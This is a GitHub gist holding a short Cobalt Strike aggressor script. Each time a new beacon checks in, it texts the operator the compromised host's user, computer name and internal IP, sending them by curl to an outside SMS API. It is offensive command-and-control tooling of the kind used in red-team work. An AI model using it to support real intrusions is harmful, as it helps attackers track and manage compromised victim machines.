Created
June 10, 2021 00:28
-
-
Save Acebond/b71306f0a16be2920de98e67ee20c209 to your computer and use it in GitHub Desktop.
Cobalt Strike aggressor scripts to send a text message notification for new beacons
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Send a text message for new shells | |
# Replace HOSTNAME, USERNAME, PASSWORD and PHONE_NUMBER. | |
# Uses transmitsms.com so you'll need an account | |
on beacon_initial { | |
$user = beacon_data($1) ["user"]; | |
$computer = beacon_data($1) ["computer"]; | |
$internalIP = replace(beacon_info($1,"internal")," ","_"); | |
$msg = "New Beacon " . $user . "@" . $computer . " (" . $internalIP . ") on HOSTNAME Teamserver"; | |
exec(@('curl','-X','GET','-G','--url','https://api.transmitsms.com/send-sms.json','-u','USERNAME:PASSWORD','--data-urlencode','message=' . $msg,'-d','to=PHONE_NUMBER')); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment